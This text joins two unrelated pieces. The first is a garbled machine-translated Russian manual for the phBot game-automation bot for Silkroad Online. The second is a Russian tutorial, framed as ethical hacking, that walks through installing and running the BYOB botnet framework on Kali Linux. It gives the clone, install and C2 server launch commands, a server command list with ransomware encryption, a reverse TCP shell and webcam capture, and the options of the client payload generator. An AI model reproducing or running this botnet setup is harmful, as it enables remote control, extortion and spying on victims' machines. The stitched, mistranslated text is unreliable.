находятся в такси, и их оставшееся время. * Вы можете щелкнуть правой кнопкой мыши по их имени и добавить больше времени. 1. Стоимость в час * Количество золота, которое вы хотите заплатить за такси. * Игроки могут платить в несколько раз больше, и время будет добавлено соответственно. 2. Выгоняйте игроков из группы, когда время истекло. * Удалите игрока, если он не заплатит по истечении времени. 3. Добавьте групповые подходы к такси. * Автоматически добавлять новых игроков в такси, когда они присоединяются через подбор группы 4.Черный список после X кик * Если игрока пинали X раз, больше не принимайте его в группу. 5. Черный список * Список игроков, которым запрещено садиться в такси. 6. Обмен * Сообщение, чтобы попросить у игрока золото (% 0 - это то место, где в сообщении будет указано количество золота) 7. Удар ногой * Сообщение, когда игрока собираются выгнать за то, что он не отправил золото (% 0 - это то место, где в сообщении будет указано количество минут) 8. Задержка в минутах * Задержка перед тем, как выгнать игрока с вечеринки * Это значение для сообщения "Kick" ## Союзная партия Union Party - это то, что было добавлено несколько лет назад к Silkroad.Это позволяет объединить до 3 дополнительных участников в текущую группу. Это может быть полезно для войны за крепость и получения большего опыта, если в определенной области есть тонны монстров. В противном случае вам следует использовать обычную партийную систему с 8 игроками. Для этого требуется свиток Union Party, который можно получить у NPC хранилища гильдии. 1. Союзная партия №1 * Список всех игроков в первой профсоюзной партии 2. Союзная партия №2 * Список всех игроков второй союзной партии 3. Союзная партия № 3 * Список всех игроков стороннего союза 4.Принять приглашения от профсоюзов * Автоматически принимает приглашения в профсоюзы на основе принятого списка. 5. Пригласите игроков на профсоюзную вечеринку. * Автоматически приглашает других игроков в профсоюзную вечеринку на основе списка приглашенных. 6. Тип партии Союза * Типы точно такие же, как в игре. 7. Список приглашенных. 8. Принять список ## Выбрать фильтр Вкладка «Выбрать фильтр» или «фильтр предметов» позволяет вам выбирать, продавать, хранить, хранить гильдией все предметы в игре. Его можно настроить на использование персонажа для выбора предметов или питомца, если он у вас есть.1. Список предметов * После поиска или выбора категории вы увидите список элементов, отображаемый здесь. Щелкните правой кнопкой мыши группу элементов, чтобы указать, что вы хотите делать с этим элементом. * Для «Золота» вам нужно будет настроить его, чтобы подбирать все три, которые вы видите в списке. 2. Категории * Имеющиеся поля со списком используются для поиска определенных типов элементов, чтобы их было проще установить вместо поиска по именам элементов. 3. Поле поиска * Введите имя элемента для поиска и нажмите клавишу ВВОД. 4. Кнопка "Очистить" * Очищает окно, чтобы освободить память.5. Кнопка "Обновить" * Нажатие этой кнопки обновит элементы в вашем фильтре выбора. Ваши настройки будут сохранены. 6. Кнопка сброса * Сбрасывает всю конфигурацию фильтра выбора. Не нажимайте на нее, если в этом нет необходимости.] 1. Сначала выберите товары * Если несколько монстров атакуют вас и предмет падает, поднимите его, прежде чем убивать других монстров. 2. Используйте выбор питомца * Используйте питомца для подбора, чтобы подбирать предметы, связанные с персонажем. 3. Выберите предметы другого игрока. * Если выпадает предмет другого игрока и он становится доступным для всех, позвольте боту поднять его.4. Выберите предметы для вечеринки. * Если предмет выпадает для члена группы, возьмите его. * Это может быть полезно для групп с автоматическим обменом предметами или когда один игрок в группе забирает предметы. 5. Не выбирайте предметы * Не собирайте никаких предметов независимо от того, что настроено в фильтре выбора. 6. Разрешить продажу всех типов предметов. * Разрешить боту продавать редкие предметы. 7. Выбирайте только редкие или синие предметы. * Подбирайте только редкие или синие предметы, выпавшие с монстра. 8. Храните только редкие или синие предметы. 9.Выбрать стрелки / болты * Подобрать указанное количество стрел / болтов * Бот определит, какой тип выбрать, в зависимости от расы вашего персонажа. 10. Храните только предметы с определенными синими атрибутами. ### Store Gold 1. Сумма золотого хранения * Количество золота в вашем инвентаре 2. Забрать золото из хранилища * Если вы когда-нибудь опускаетесь ниже «суммы золотого хранения», забирайте золото из хранилища. 3. Возьмите золото из хранилища гильдии. * Если вы когда-нибудь опускаетесь ниже «суммы золотого запаса», возьмите золото из хранилища гильдии. 4. Храните золото в хранилище (максимальное количество, 0 = без ограничений) * Максимальное количество золота на складе.«0» - без ограничений. 5. Храните золото в хранилище гильдии (максимальное количество, 0 = без ограничений) * Максимальное количество золота в хранилище гильдии. «0» - без ограничений. ## Квест ### Активный Здесь вы найдете список всех квестов, которые в данный момент активны для вашего персонажа. Вы можете отказаться от квеста или настроить параметры автоматического включения квеста. ### Все На вкладке «Все» вы найдете список всех квестов в игре. Это позволяет вам настраивать квесты, которые не активны для вашего персонажа. 1. Список квестов * Щелкните правой кнопкой мыши квест, чтобы включить его, используйте прокрутку возврата по завершении или выполните сценарий по завершении.* Вы должны выполнить сценарий для заданий и использовать свиток возврата для не связанных с заданием NPC, которые находятся в городе. 2. Поле поиска * Введите название квеста и нажмите Enter, чтобы найти его. 3. Кнопка поиска * Введите название квеста в поле поиска и нажмите клавишу ввода или нажмите кнопку поиска, чтобы найти его. 4. Кнопка "Очистить" * Очищает окно, чтобы освободить память 5. Кнопка "Обновить" * Обновляет квесты. Ваша конфигурация не будет изменена. 6. Кнопка сброса * Сбрасывает конфигурацию вашего квеста.Не нажимайте эту кнопку, если в этом нет крайней необходимости. ### Авто Квест Автоматический квест выполняется путем включения квеста и _не_ установки сценария. 1. Включите обнаружение столкновений на вкладке «Тренировочная зона» -> «Настройки». 1. Включите квест 1. Если квест требует, чтобы вы вернулись в город, включите опцию «Вернуться» для квеста. * Как только вы окажетесь в городе, бот сначала будет искать квесты, которые можно принять / сдать, а затем последует сценарий города. 1. Если квестовый NPC находится в вашей тренировочной зоне, бот подойдет к нему и сдаст его, если он достаточно близко (например.работа пещерный квест) ** Лампа Genie ** Чтобы сдать квест, вы должны запустить бота в городе NPC Daily Quest Manager. Если вы этого не сделаете, бот пропустит квест, потому что NPC не находится в вашем начальном городе. 1. Включите ежедневный квест. * Установите квест, чтобы вернуться, когда он будет завершен 1. Включите квест "Бездомный джинн". ** Квест в пещере работы ** 1. Включите квест 1. Запустите бота в своей тренировочной зоне. ### Скрипт квеста Это руководство о том, как вы сначала принимаете квест. 1. Создайте сценарий, который переходит от возрождения города к квестовому NPC.2. Добавьте в скрипт команду `quest`. 3. При необходимости добавьте команду `cast` для" Merchant Pipe "(зависит от квеста). 4. Идите к месту тренировки. 5. При необходимости добавьте команду «размонтировать». 6. Сохраните сценарий и загрузите его на вкладке «Тренировочная зона». ### Скрипт возврата квеста В этом руководстве рассказывается, как сдать квест после его завершения. 1. Создайте пешеходную дорожку, которая ведет от вашей тренировочной зоны к квестовому NPC. 2. Добавьте команду `quest` в ваш скрипт. 3. Установите скрипт на вкладке «Квест» и включите его.Бот выполнит этот сценарий в обратном порядке после его завершения, поэтому нет необходимости возвращать его в зону обучения. ## Игроки На вкладке «Игроки» отображается список всех игроков рядом с вами. Он также имеет опции для отслеживания других игроков в игре. 1. Список игроков со всеми их предметами * Это окно показывает всех игроков поблизости и их экипировку. 2. Кнопка "Обновить". * Обновляет окно плеера. 3. Кнопка "Очистить" * Очищает окно плеера, чтобы освободить память. 4. Приглашение на вечеринку * Приглашает выбранного игрока на вечеринку.5. Приглашение в Академию * Приглашает выбранного игрока в академию. 6. Приглашение в гильдию * Приглашает выбранного игрока в вашу гильдию. 7. Приглашение от профсоюзов * Приглашает выбранного игрока на вечеринку союза. 8. Игрок для отслеживания * Имя игрока для отслеживания. 9. Кнопка "Обновить". * Обновляет список игроков вокруг вас. 10. Начать отслеживание * Начинает отслеживание выбранного игрока. 11. Остановить отслеживание * Прекращает отслеживание выбранного игрока. 12. Атакуйте монстров * Атакует монстров, пока вы отслеживаете игрока * Это может быть очень полезно для очистки экземпляров.13. Баффы * Применяйте баффы во время трассировки. 14. Партийные баффы * Используйте баффы группы во время трассировки. 15. Выберите предметы * Подбирайте предметы во время отслеживания. 16. След игры * Используйте механизм отслеживания в игре вместо того, чтобы идти к координатам игроков ## Гильдия 1. Показывает список всех членов гильдии. 2. Показать приглашения гильдии * Показывает входящие приглашения гильдии в боте. 3. Автоматически приглашать других игроков в гильдию с уровнем> X * Приглашает других игроков рядом с вами в вашу гильдию, если их предполагаемый уровень выше указанного.* Уровни игроков не являются точными и рассчитываются на основе предметов, которые они носят. 4. Примите все приглашения гильдии. * Принимает все входящие приглашения гильдии. 5. Кнопка просмотра уведомлений * Показывает текущее уведомление гильдии. ## Академия Вкладка «Академия» позволяет вам полностью управлять своей академией. 1. Показывает список всех игроков в академии. 2. Кнопка просмотра уведомлений * Отображает текущее уведомление академии. ### Параметры 1. Примите все приглашения академии * Принимайте все входящие приглашения присоединиться к академии 2. Принимайте приглашения в академию из списка. * Принимайте приглашения в академию, только если они исходят от игрока из списка «Принять / пригласить».3. Пригласите всех игроков * Пригласите всех игроков рядом с вами в академию. 4. Приглашение только из списка * Приглашайте только игроков из списка «Принять / Пригласить». 5. Показать приглашения в академию * Показать диалог с деталями приглашения академии в боте. 6. Примите приглашения присоединиться. * Позволяет принимать приглашения присоединиться. 7. Пригласите игроков в академию. * Позволяет приглашать других игроков в академию. 8. Авто выпускник академии. * Автоматически выпускает вашего персонажа из академии, когда вы достигли 40-го уровня и выше в качестве ученика или 60-го уровня и выше в качестве помощника.9. Список принятия / приглашения * Список, который бот будет использовать для приема приглашений в академию и отправки приглашений в академию. ### Соответствие 1. Название * Название для использования при формировании соответствия академии. 2. Просмотр соответствия * Просматривайте академии в системе соответствия. 3. Присоединяйтесь к академии # * Присоединяйтесь к академии по соответствующему номеру академии. 4. Автоматическое соответствие академии форм * Автоматически формирует академию. Он будет обновляться каждые 10 минут. 5. Позволяет выбрать тип соответствия. 6. Автоматическое присоединение по имени игрока.7. Автоматическое соединение по названию. ## Инвентарь Вкладка «Инвентарь» позволяет вам детально просмотреть каждый предмет в вашем инвентаре. Он показывает значки предметов, если ваш путь Шелкового пути установлен правильно, и белые / синие характеристики. Есть больше возможностей для обмена рабочих билетов и надувания надувных шаров. ### Горийский обмен предметами На iSRO и SilkroadR NPC Magic POP Guide Gori может обменивать экипированные предметы, такие как оружие или доспехи, на предметы со случайными белыми / синими характеристиками. Эта вкладка автоматизирует этот процесс, останавливаясь при достижении желаемого белого показателя.### Вещь Эта вкладка позволяет вам надувать воздушные шары во время события «Воздушный шар» на iSRO, а также позволяет вам добавлять дух вашего дьявола / ангела с помощью свитка улучшения пробуждения. ## Стойло Стойка позволяет продавать предметы другим игрокам в игре. phBot позволяет сделать это автоматически. * Вкладка киоска покажет вам текущие товары в вашем киоске и цены, по которым они установлены. * Чтобы изменить предмет, вы можете щелкнуть правой кнопкой мыши на слоте и выбрать то, что вы хотите сделать.* Когда предмет будет продан, он появится в журнале. * Вкладка «Инвентарь» показывает вам каждый предмет в вашем инвентаре. Предметы не дублируются, а цены сохраняются в вашем конфигурационном файле, поэтому при повторном подключении цены останутся прежними. * Чтобы включить автоматическую остановку при повторном входе, необходимо включить «запускать бота при входе в систему» ​​на вкладке «Вход в Silkroad». Автоматическая остановка происходит перед городской петлей (это можно переключать). * Эту вкладку следует использовать, когда вы хотите остановить определенный предмет, например, броню или оружие.* Вкладка «Фильтр» показывает список всех предметов в игре. Это может быть полезно для автоматической остановки предметов, когда вы возвращаетесь в город для ремонта / повторной покупки предметов. * Поле «Количество» позволяет вам указать сумму, которую бот должен продать за раз. Бот автоматически объединит и разделит элементы, чтобы их можно было остановить по отдельности. * Эту вкладку следует использовать, когда вы хотите продавать общие предметы, такие как эликсиры или предметы для глобального чата. * На вкладке «Консигнация» отображаются все предметы, которые в настоящее время находятся в консигнации, и их текущий статус.* Чтобы включить автоматическое добавление предметов в отгрузку, вы должны добавить команду `DoConsignment` в сценарий вашего города или сценарий прогулки. * Команда `DoConsignment` имеет возможность рассчитывать, извлекать просроченные предметы и добавлять предметы. * Вкладка «Параметры» дает вам контроль над тем, когда бот должен остановиться, в зависимости от того, сколько элементов может быть остановлено. Это может быть установлено на «0», чтобы всегда останавливаться, если есть доступные элементы. ## Алхимия * Вкладка «Алхимия» позволяет легко улучшить свое снаряжение. Он поддерживает объединение предметов, использование атрибутов / алхимических камней и демонтаж предметов, чтобы превратить их в элементы.* Чтобы удалить один элемент из очереди, щелкните его правой кнопкой мыши и выберите «Удалить». ### Плюс 1. Остановитесь на * Прекратить плюсы, когда элемент достигнет установленного плюса. 2. Отсрочка успеха * Пора ждать после удачного плюса. 3. Задержка отказа * Пора ждать после плюсовой неудачи. 4. Счастливая пудра * Используйте счастливую пудру в наборе плюс и выше. 5. Астрал * Используйте Astral при наборе плюс и выше. 6. Устойчивый * Используйте устойчивый при установке плюс и выше. 7. Бессмертный * Используйте бессмертный камень с набором плюс и выше. 8. Счастливый камень * Используйте камень удачи с набором плюс и выше.9. Остановить после попытки * Прекратить подключение после установленного количества попыток. 10. Добавить * Добавляет текущий элемент в очередь с указанными вами настройками. 11. Отменить * Отменяет добавление товара. 12. Начать * Запускает очередь алхимии 13. Список очереди алхимии * Это окно покажет вам все элементы, которые вы добавили в очередь. * Вы можете добавить несколько предметов и несколько типов (плюс, атрибут, алхимия). 14. Пункт * Текущий элемент, который вы хотите добавить в очередь. 15. Плюс * Текущие элементы плюс стоимость.16. Уровень успеха * Текущий плюс шанс успеха. 17. Двигайтесь дальше после неудачи * Переходите к следующему элементу в очереди, если плюс не работает. * Это полезно только на определенных частных серверах. 18. Остановите всю алхимию, если она уничтожена. * Остановить алхимию, если предмет уничтожен. 19. Степень * Некоторые частные серверы меняют степень удачи пороха / оружия. Эта опция позволяет вам вручную установить степень оружия / счастливого пороха. Он используется для всех вкладок алхимии. 20. Добавьте все предметы * Добавляет все элементы, которые можно добавить в список ### Атрибут 1.Тип атрибута камня * Тип атрибутивного камня для использования в предмете. 2. Остановитесь на X% * Остановитесь, когда значение белого достигает этого процента или превышает его. 3. Используйте катализатор алхимии. * Бот может использовать катализатор алхимии с камнем. * Катализатор алхимии предотвращает разрушение камней. 4. Добавить все камни * Добавляет все камни атрибутов для этого конкретного предмета с установленным вами значением. 5. Добавить * Добавляет камень в очередь алхимии. 6. Отменить * Отменяет использование камней атрибутов на предмете.7. Начать * Запускает очередь алхимии. ### Алхимия 1. Тип алхимического камня * Тип алхимического камня для использования в предмете. 2. Остановитесь на значении X * Остановитесь, когда синее значение достигнет этого значения или превысит его. * Стоп по значению НЕ является процентным! 3. Используйте катализатор алхимии. * Бот может использовать катализатор алхимии с камнем. * Катализатор алхимии предотвращает разрушение камней. 4. Добавить все элементы * Добавляет все предметы в ваш инвентарь, способные использовать выбранный вами камень. 5.Добавить * Добавляет камень в очередь алхимии. 6. Отменить * Отменяет использование алхимических камней на предмете. 7. Начать * Запускает очередь алхимии. ### Демонтировать 1. Добавить все элементы * Добавляет все предметы вашего инвентаря в очередь на разборку на элементы. 2. Добавить * Добавляет один элемент, который вы выбрали, в очередь на разборку. 3. Отменить * Отменяет очередь алхимии. 4. Начать * Запускает очередь алхимии. ## Мастерство Вкладка «Мастерство» позволяет автоматически повышать уровень мастерства / навыков, когда они становятся доступными, а также сохранять пробел в навыках.1. Древо навыков * Это список всех умений и навыков вашего персонажа. 2. Разрыв * Разрыв в уровне навыков позволяет вам получить больше опыта SP, но меньше опыта. Это называется земледелием. 3. Очистить Авто Мастерство * Сбрасывает настройки автоматического мастерства 4. Очистить авто навык * Сбрасывает настройки авто навыков ## Карта Предполагая, что у вас есть изображения миникарты внутри папки «миникарта», вы сможете увидеть игру сверху вниз. На карте показаны игроки, члены группы и монстры.Ссылка для загрузки этих изображений находится в ветке форума, посвященной выпуску phBot. Если щелкнуть карту правой кнопкой мыши, появится меню с несколькими вариантами. Это позволяет: 1. Задайте тренировочную зону. 2. Боевая арена * Зарегистрируйтесь в Штирии * Зарегистрируйтесь для случайного флага * Зарегистрируйтесь для получения случайных очков * Зарегистрируйтесь для Party Flag * Зарегистрируйтесь для получения Party Points 3. Доступ к хранилищу / хранилищу гильдии 4. Используйте телепорт. * Телепорт * Назначьте точку отзыва * Телепорт в комнату Юпитера 5. Получите все награды за выполнение заданий в So-Ok 1.Общая статистика. 2. Записать многоугольник * phBot поддерживает два типа тренировочных площадок: радиус и многоугольник. * Полигон технически может быть лучше, но его трудно использовать, поскольку карта не на 100% точна. 3. Остановить запись * Останавливает запись многоугольника 4. Очистить * Очищает данные полигона 5. Ваш персонаж. Карты пещер поддерживаются. ### Запись многоугольника 1. Щелкните «Записать многоугольник». 2. Нарисуйте на карте многоугольник по часовой стрелке. 3. После того, как вы закроете многоугольник, нажмите «Остановить запись».4. Перейдите на вкладку «Тренировочная зона», щелкните правой кнопкой мыши активную тренировочную зону и выберите «Использовать многоугольник». Вам все равно нужно будет установить позицию на вкладке «Тренировочная зона», чтобы другие функции бота работали. ## Звук / Тревога Вкладка «Звук» позволяет запускать звуки бота, когда что-то происходит в игре. 1. Создан GM * Воспроизвести звук, когда GM появляется рядом с вами. 1. Уникальный порожденный * Включите звук, когда появляется какое-либо уникальное уведомление или уникальное появляется рядом с вами. 1. Титан появился * Воспроизвести звук, когда рядом с вами появится титан-монстр.1. Уникальный по ассортименту * Включите звук, когда рядом с вами появится уникальный. 1. Игрок умер * Воспроизвести звук, когда ваш персонаж умирает. 1. Нападение на другого игрока * Включите звук, когда ваш персонаж атакует другого игрока. 1. Возвращение в город * Включите звук, когда ваш персонаж вернется в город. 1. Личное сообщение * Воспроизведение звука при получении личного сообщения. 1. Атаковали * Воспроизвести звук, когда на вашего персонажа нападает другой игрок. 1. Вор рядом * Воспроизвести звук, когда игрок-вор появляется рядом с вами.1. Охотник рядом * Воспроизведение звука, когда рядом с вами появляется охотник. 1. Выпадение редких предметов * Воспроизведение звука, когда вы поднимаете редкий предмет. 1. Транспорт умер * Включите звук, когда ваш рабочий транспорт умирает. Воспроизвести звук при появлении определенного уникального монстра (в зависимости от уведомления в игре). ## Привязки клавиш Привязки клавиш позволяют запускать, останавливать и т. Д. Несколько ботов одновременно одним нажатием клавиши. 1. Включите привязку клавиш * Позволяет боту следить за вводом клавиш. 2. Запустите бота. * Привязка клавиш для запуска бота.3. Остановить бота * Привязка клавиш для остановки бота. 4. Запустить трассировку * Привязка клавиш для запуска трассировки. 5. Остановить трассировку * Привязка клавиш для остановки трассировки. 6. Получить позицию * Привязка клавиш для получения текущей позиции для активной области тренировки. * Это может быть полезно, когда вы хотите переместить всю группу в новую область. --- ## Условия Условия позволяют добавлять настраиваемые функции без использования плагина Python; хотя их можно использовать вместе. Они отличаются от «условий обучения» и будут выполняться независимо от того, запущен / остановлен / отслеживается / останавливается бот.1. Выберите параметры в раскрывающемся списке «Если» и нажмите «Добавить». 1. После того, как вы добавили условия, пора добавить опции «Then». Это то, что бот будет делать после выполнения ваших условий. * Вы можете выбрать несколько опций `Then`. Порядок их выбора - это порядок их выполнения. ## Плагины Плагины - это «аддоны» для бота, написанные на Python 3.4. Плагины позволяют расширять бота, анализируя пакеты, отправленные в ваш плагин, или обрабатывая события. Вы даже можете создать пользовательский интерфейс на вкладке Plugins внутри бота и делать что-то, когда пользователь взаимодействует с вашим интерфейсом.[Подробнее…] (https://forum.projecthax.com/t/download/35/)

Создайте свой собственный ботнет с помощью простых команд (пошаговое руководство)

По мнению консультантов по этическому хакерству, вредоносное ПО присутствует в интернет-мирах уже долгие годы. Чем больше новых технологий появляется, тем больше вредоносных программ распространяется через Интернет. Сегодня мы поговорим о ботнете. Ботнет создается зараженным вредоносным ПО, после чего бот распространяется по сети. В сценарии заражения больших компьютеров используется ботнет. Учителя этичного взлома предупреждают, что ботнет дает право заражать большую группу компьютеров.Ботнеты становятся важной частью кибербезопасности. Большинство компаний становятся жертвами ботнетов. Слово «ботнет» происходит от слова «робот» и «сеть», где робот заражается вредоносным ПО, а затем становится частью любой сети.

Согласно этическому хакерству исследователей из Международного института кибербезопасности, боты были в последних новостях об атаках на финансовый сектор в США.

BYOB (Build Your Own Botnet) - это код на Python из нескольких строк, в котором вы можете создать свой собственный ботнет, используя несколько простых команд.Этот проект был реализован для исследователей и разработчиков безопасности. Этот инструмент предназначен для реализации некоторых ваших собственных функций в соответствии с требованиями. Для демонстрации вам, этот инструмент был протестирован на Kali Linux 2018.3 в качестве злоумышленника, и мы создадим сервер BYOB на том же kali linux.

  • Для клонирования типа https://github.com/malwaredllc/byob.git
 root @ kali: / home / iicybersecurity / Downloads #  git clone https://github.com/malwaredllc/byob.git  
Клонирование в «byob»…
удаленный: Перечисление объектов: 53, выполнено.
пульт: Подсчет объектов: 100% (53/53), готово.
remote: Сжатие объектов: 100% (33/33), готово.
удаленный: Всего 1989 (дельта 28), повторно использованные 38 (дельта 20), повторно используемые пакеты 1936
Получение объектов: 100% (1989/1989), 1,37 МиБ | 1,45 МБ / с, готово.
Разрешение дельт: 100% (1344/1344), выполнено.
  • Затем введите cd byob
  • Введите pip install -r requirements.txt
 root @ kali: / home / iicybersecurity / Downloads / byob / byob #  pip install -r requirements.txt  
Игнорирование pyHook: маркеры sys_platform == "win32" 'не соответствуют вашей среде
Игнорирование pypiwin32: маркеры sys_platform == "win32"' не соответствуют вашей среде
Сбор mss == 3.3.0 (из -r requirements.txt (строка 1))
Скачивание https://files.pythonhosted.org/packages/d1/bc/1965b94c015666f0dce53248e219802137cfe3927109843706d7c4c48f78/mss-3.3.0-py2.py3-none-lecting.whl 900 1.4.9 (из -r requirements.txt (строка 2))
Скачивание https: // файлов.pythonhosted.org/packages/03/2d/cbf13257c0115bef37b6b743758411cec70c565405cbd08d0f7059bc715f/WMI-1.4.9.zip
Сбор numpy == 1.15.2 (из -r requirements.txt (строка 3) httpshosted.org Загрузка httpshosted.org /packages/a4/49/f454aa408e6b82d9fb95669f181415db915dadb27127ee475eccf1eecddd/numpy-1.15.2-cp27-cp27mu-manylinux1_i686.whl (10,1 МБ)
100 %████████████████████████████████████████████ ████████████ | 10,1 МБ 2,1 кБ / с
Сбор pyxhook == 1.0.0 (из -r requirements.txt (строка 4))
Загрузка https: // файлов.pythonhosted.org/packages/70/d1/8f56e13b002502ad85975f2dcebb5d1026551e34cafc77ae70a294a67eed/pyxhook-1.0.0.tar.gz
Сбор twilio == 6.14.0 (из -r requirements.txt (строка 5): // Загрузка https://www.pythonted .org / packages / 4c / b5 / f341339851a53a76dd476979f5a67595990d9d45417b1cd65c140154ae4b / twilio-6.14.0-py2.py3-none-any.whl (821 КБ)
100% | ████████████ ███████████████ | 829kB 482kB / s
Сбор colorama == 0.3.9 (из -r requirements.txt (строка 6))
Скачивание https: // файлов.pythonhosted.org/packages/db/c8/7dcf9dbcb22429512708fe3a547f8b6101c0d02137acbd892505aee57adf/colorama-0.3.9-py2.py3-none-any.whl
Требование уже выполнено: requests == 2.20.0 in / requests == 2.20.0 в / dist-packages / requests-2.20.0-py2.7.egg (из -r requirements.txt (строка 7)) (2.20.0)
Сбор PyInstaller == 3.3.1 (из -r requirements.txt (строка 8 ))
Скачивание https://files.pythonhosted.org/packages/3c/86/909a8c35c5471919b3854c01f43843d9b5aed0e9948b63e560010f7f3429/PyInstaller-3.3.1.tar.gz (3,5 МБ)
100% | ████████████████████████████████ | 3,5 МБ 111 КБ / с
Сбор opencv-python == 3.4.3.18 (из -r requirements.txt (строка 9))
Скачивание https://files.pythonhosted.org/packages/6c/03/3f11eec70d964cf28afb37c7778e1acbb8632afd78b288cdd9fe7fe .3.18-cp27-cp27mu-manylinux1_i686.whl (24,9MB)
100% | █████████████████████████████████ | 24.9MB 2.3kB / s
Сбор python-xlib (из pyxhook == 1.0.0 -> - r requirements.txt (строка 4))
Скачивание https: // файлов.pythonhosted.org/packages/54/44/e56454e3ce8fd2333e635d704e157e9cc432a375ab6b680e3c98dd7c3bc0/python_xlib-0.23-py2.py3-none-any.whl (123 КБ)
100 %████████████████████████████████████████████████████████ ██████████████ | 133 КБ 1,7 МБ / с
Требование уже выполнено: шесть в /usr/lib/python2.7/dist-packages (из twilio == 6.14.0 -> - r requirements.txt (строка 5)) (1.11.0)
Требование уже выполнено: pytz в /usr/lib/python2.7/dist-packages (из twilio == 6.14.0 -> - r requirements.txt (строка 5)) (2018.5)
Требование уже выполнено: PyJWT> = 1 .4.2 в /usr/lib/python2.7/dist-packages (из twilio == 6.14.0 -> - r requirements.txt (строка 5)) (1.6.4)
Требование уже выполнено: certifi> = 2017.4.17 в /usr/lib/python2.7/dist-packages (из запросов == 2.20.0 -> - r requirements.txt (строка 7)) (2018.4.16)
Требование уже выполнено: chardet <3.1.0,> = 3.0.2 в /usr/lib/python2.7/dist-packages (из запросов == 2.20.0 -> - r requirements.txt (строка 7)) (3.0.4)
Требование уже выполнено: idna <2.8 ,> = 2,5 в / usr / lib / python2.7 / dist-packages (from requests == 2.20.0 -> - r requirements.txt (строка 7)) (2.6)
Требование уже выполнено: urllib3 <1.25,> = 1.21.1 в / usr / lib / python2. 7 / dist-packages (из запросов == 2.20.0 -> - r requirements.txt (строка 7)) (1.22)
Сбор dis3 (из PyInstaller == 3.3.1 -> - r requirements.txt (строка 8) )
Скачивание https://files.pythonhosted.org/packages/9c/5c/4a4a2802f10f558018413990a58fd3dd7ed1eb48e6de7266334c2489bad6/dis3-0.1.3-py2-none-any.whl
Сбор 1 махолиб>8 (из PyInstaller == 3.3.1 -> - r requirements.txt (строка 8))
Скачивание https://files.pythonhosted.org/packages/41/f1/6d23e1c79d68e41eb592338d90a33af813f98f2b04458aaf0b86908da2d8.11/machol -any.whl
Требование уже выполнено: pefile> = 2017.8.1 в /usr/lib/python2.7/dist-packages (из PyInstaller == 3.3.1 -> - r requirements.txt (строка 8)) (2017.11 .5)
Требование уже выполнено: setuptools в /usr/lib/python2.7/dist-packages (из PyInstaller == 3.3.1 -> - r requirements.txt (строка 8)) (39.2.0)
Сбор altgraph> = 0.15 (из macholib> = 1.8-> PyInstaller == 3.3.1 -> - r requirements.txt (строка 8))
Загрузка https: // файлов .pythonhosted.org / packages / 0a / cc / 646187eac4b797069e2e6b736f14cdef85dbe405c9bfc7803ef36e4f62ef / altgraph-0.16.1-py2.py3-none-any.whl
Сборка колес для собранных пакетов: WMI, pyxhook21, Pyxhook_Installer.
Хранится в каталоге: /root/.cache/pip/wheels/f3/c8/24/dc2368d129e5b249d163cbe365b993ad89ae6bb2371008a129
Запуск установки.py bdist_wheel для pyxhook… done
Хранится в каталоге: /root/.cache/pip/wheels/50/45/1b/855ffad848a142c0a7076635f437b54b20afc96588495905a1
Запуск setup.py bdist_wheel для Pyxhook_wheel в каталоге 900/ Stored ... / wheel / b8 / ec / c5 / 6b63d5d1ecfe8bf1b3ae768b793b1643e19dde790de6363c4c
Успешно собранный WMI pyxhook PyInstaller
Установка собранных пакетов: mss, WMI, numpy, python-xlib, pyxhooko-ramа-900, machibochook-1 существующая установка: numpy 1.14.5
Не удаляется numpy в /usr/lib/python2.7/dist-packages, вне среды / usr
Не удается удалить «numpy». Не найдено файлов для удаления.
Обнаружена существующая установка: colorama 0.3.7
Не удаляется colorama в /usr/lib/python2.7/dist-packages, вне среды / usr
Не удается удалить «colorama». Не найдено файлов для удаления.
Успешно установлен PyInstaller-3.3.1 WMI-1.4.9 altgraph-0.16.1 colorama-0.3.9 dis3-0.1.3 macholib-1.11 mss-3.3.0 numpy-1.15.2 opencv-python-3.4.3.18 python-xlib-0.23 pyxhook-1.0.0 twilio-6.14.0
  • Введите python setup.py
  • После нажатия клавиши ввода будет запрошен пароль. Просто введите пароль Kali Linux.
 root @ kali: / home / iicybersecurity / Downloads / byob / byob #  python setup.py  
Введите свой пароль sudo (для установки зависимостей python):
Установка mss == 3.3.0…
Установка WMI == 1.4.9…
Установка numpy == 1.15.2…
Установка pyxhook == 1.0.0…
Установка twilio == 6.14.0…
Установка colorama == 0.3.9…
Установка запросов == 2.20.0…
Установка PyInstaller == 3.3.1…
Установка opencv-python == 3.4.3.18…
Установка pyHook == 1.5.1; sys.platform == 'win32'…
Установка pypiwin32 == 223; sys.platform == 'win32'…
  • Здесь будут использоваться два терминала , первый терминал будет Bot Server , где будут обрабатываться сеансы, и второй терминал , Bot Client , где будут создаваться боты.
  • После установки всех зависимостей введите python server.py –port 445
  • порт 445 используется для запуска сервера на этом конкретном порту. Можно назначить любой порт.
 root @ kali: / home / iicybersecurity / Downloads / byob / byob #  python server.py --port 445  
  • После запуска сервера введите , помогите просмотреть некоторые важные команды бота-сервера.
 [root @ / home / iicybersecurity / Downloads / byob / byob]>  help  
[?] Подсказка: показывать информацию об использовании с помощью команды 'help'

bg [id] в фоновом режиме сеанса (по умолчанию: текущий сеанс )
широковещательная рассылка задачи всем активным сеансам
клиенты показывают всех клиентов, которые присоединились к серверу
отладка запускает код python непосредственно на сервере (ДОЛЖНА быть включена отладка)
exit выйти из сервера
help показать справку по использованию для команд сервера
kill завершить сеанс Параметры
показать текущие настроенные параметры
запросить запрос к базе данных SQLite
выкуп [id] шифрование клиентских файлов и ключ шифрования выкупа для платежа биткойн
результаты [id] отобразить все результаты выполненных задач для клиента (по умолчанию: все клиенты)
сеансы показывают активные клиентские сеансы
set [option = value] изменить значение параметра
shell взаимодействовать с клиентом с обратной оболочкой TCP через активный сеанс
tasks [id] отображают все незавершенные задачи для клиента ( по умолчанию: все клиенты)
веб-камера захватывает изображение / видео с веб-камеры клиентского устройства

  • Затем откройте другой терминал Linux.
  • Введите cd / home / iicybersecurity / Downloads / byob / byob
  • Затем введите python client.py –help
 
root @ kali: / home / iicybersecurity / Downloads / byob / byob # клиент Python .py --help
использование: client.py [-h] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt]
[--compress] [--freeze] [-v]
порт хоста [модуль [модуль…]] Генератор

(Создайте свой собственный ботнет)

позиционных аргумента:
IP-адрес хост-сервера
номер порта порта сервера
модуль (модули) для удаленного импорта во время выполнения

необязательных аргумента:
-h, --help показать это справочное сообщение и выйти
--name NAME имя выходного файла
--icon ICON имя файла изображения значка
--pastebin API загрузить полезные данные в Pastebin (вместо C2 сервер
, на котором он размещен)
